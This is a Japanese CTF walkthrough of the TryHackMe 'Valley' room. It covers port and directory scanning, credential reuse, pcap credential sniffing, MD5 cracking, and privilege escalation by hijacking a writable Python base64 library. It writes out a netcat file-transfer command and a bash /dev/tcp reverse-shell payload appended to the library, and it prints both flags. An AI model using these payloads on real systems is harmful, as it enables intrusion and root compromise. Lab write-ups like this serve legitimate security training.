概要
TryHackMe「Valley」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.155.251 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
| 256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
|_ 256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open ftp vsftpd 3.0.3
58652/tcp filtered unknown
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
37370 | ftp | vsftpd 3.0.3 |
Webサービスのディレクトリスキャンをします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.155.251/FUZZ -recursion -recursion-depth 1 -ic -c
[Status: 200, Size: 1163, Words: 176, Lines: 39, Duration: 242ms]
gallery [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
static [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 237ms]
pricing [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 238ms]
/pricing/note.txt
を発見しました。
J,
Please stop leaving notes randomly on the website
-RP
文言から他にもメモがありそうです。
さらにディレクトリスキャンをしていると/static/00
を発見しました。
[INFO] Starting queued job on target: http://10.10.155.251/static/FUZZ
[Status: 200, Size: 567, Words: 43, Lines: 15, Duration: 238ms]
4 [Status: 200, Size: 7389635, Words: 0, Lines: 0, Duration: 0ms]
00 [Status: 200, Size: 127, Words: 15, Lines: 6, Duration: 301ms]
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
/dev1243224123123
パスが書かれているのでアクセスするとログインページが表示されました。
ソースコードからdev.js
を発見したのでコードを見ると認証情報を得られました。
loginButton.addEventListener("click", (e) => {
e.preventDefault();
const username = loginForm.username.value;
const password = loginForm.password.value;
if (username === "siemDev" && password === "california") {
window.location.href = "/dev1243224123123/devNotes37370.txt";
} else {
loginErrorMsg.style.opacity = 1;
}
})
ログインすると再度メモが表示されました。
dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
FTPで認証情報を使いまわせそうです。
FTPのログインに成功しました。
$ ftp -P 37370 10.10.155.251
Connected to 10.10.155.251.
220 (vsFTPd 3.0.3)
Name (10.10.155.251:kali): siemDev
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
3つのpcapファイルがあるのですべてダウンロードします。
ftp> ls
229 Entering Extended Passive Mode (|||65516|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 7272 Mar 06 2023 siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 Mar 06 2023 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 Mar 06 2023 siemHTTP2.pcapng
226 Directory send OK.
siemHTTP2.pcapng
の中でHTTPのPOSTリクエストパケットを発見しました。
それにより、ユーザー名とパスワードを得られました。
得られたUsername: valleyDev
,Password: ph0t0s1234
でSSHログインに成功しました。
$ ssh valleyDev@10.10.155.251
valleyDev@valley:~$
/home/valleyDev/user.txt
からユーザーフラグを入手できました。
THM{k@l1_1n_th3_v@lley}
A.THM{k@l1_1n_th3_v@lley}
Q2.What is the root flag?
/etc/crontab
を確認すると/photos/script/photosEncrypt.py
を発見しました。
1 * * * * root python3 /photos/script/photosEncrypt.py
コードの中身を見ます。
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
image_path = "/photos/p" + str(i) + ".jpg"
# open the image file and read its contents
with open(image_path, "rb") as image_file:
image_data = image_file.read()
# encode the image data in Base64 format
encoded_image_data = base64.b64encode(image_data)
# specify the path to the output file
output_path = "/photos/photoVault/p" + str(i) + ".enc"
# write the Base64-encoded image data to the output file
with open(output_path, "wb") as output_file:
output_file.write(encoded_image_data)
現状権限昇格のアプローチは見つかりませんでした。
/home
を見るとvalleyAuthenticator
を発見しました。
$ ls -la
total 752
drwxr-xr-x 5 root root 4096 Mar 6 2023 .
drwxr-xr-x 21 root root 4096 Mar 6 2023 ..
drwxr-x--- 4 siemDev siemDev 4096 Mar 20 2023 siemDev
drwxr-x--- 16 valley valley 4096 Mar 20 2023 valley
-rwxrwxr-x 1 valley valley 749128 Aug 14 2022 valleyAuthenticator
drwxr-xr-x 6 valleyDev valleyDev 4096 Oct 4 06:14 valleyDev
実行するとユーザー名とパスワードを求められました。
$ ./valleyAuthenticator
Welcome to Valley Inc. Authenticator
What is your username: valleyDev
What is your password: ph0t0s1234
Wrong Password or Username
Kaliにダウンロードします。
Netcatでリッスンします。
$ nc -nlvp 7777 | tar xf -
ターゲットマシンからファイルを送信します。
$ tar cf - valleyAuthenticator | nc 10.6.55.144 7777
strings
コマンドで見るとUPXでパッキングされています。
$ strings valleyAuthenticator
UPX!
アンパックします。
$ upx -d valleyAuthenticator
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
2290962 <- 749128 32.70% linux/amd64 valleyAuthenticator
Unpacked 1 file.
ファイルの中にパスワードがあるか確認します。
$ strings valleyAuthenticator | grep password -C 10
[]A\A]A^
t*f.
[]A\
I9\$xv.I
T$pH
tKU1
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
ハッシュ値の様な文字列を得られたので解析するとユーザー名とパスワードを確認できました。
$ john hash1 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
liberty123 (?)
$ john hash2 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
valley (?)
得られた認証情報でvalley
アカウントに昇格できました。
$ su valley
Password:
valley@valley:/home$
再度/photos/script/photosEncrypt.py
に注目するとbase64
ライブラリが使用されています。
ライブラリのパスを確認します。
$ locate base64.py
/snap/core20/1611/usr/lib/python3.8/base64.py
/snap/core20/1828/usr/lib/python3.8/base64.py
/usr/lib/python3.8/base64.py
パーミッションを確認するとvalleyAdmin
グループに書き込み権限があります。
$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 2023 /usr/lib/python3.8/base64.py
valley
アカウントはvalleyAdmin
グループに所属しています。
$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
/usr/lib/python3.8/base64.py
にリバースシェルのペイロードを追記します。
#! /usr/bin/python3.8
"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
import binascii
# 追記
import os
# 追記
os.system('bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"')
__all__ = [
# Legacy interface exports traditional RFC 2045 Base64 encodings
(省略)
Netcatでリッスンしているとrootのシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.155.251] 39184
bash: cannot set terminal process group (57223): Inappropriate ioctl for device
bash: no job control in this shell
root@valley:~#
/root/root.txt
からルートフラグを入手できます。
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
A.THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}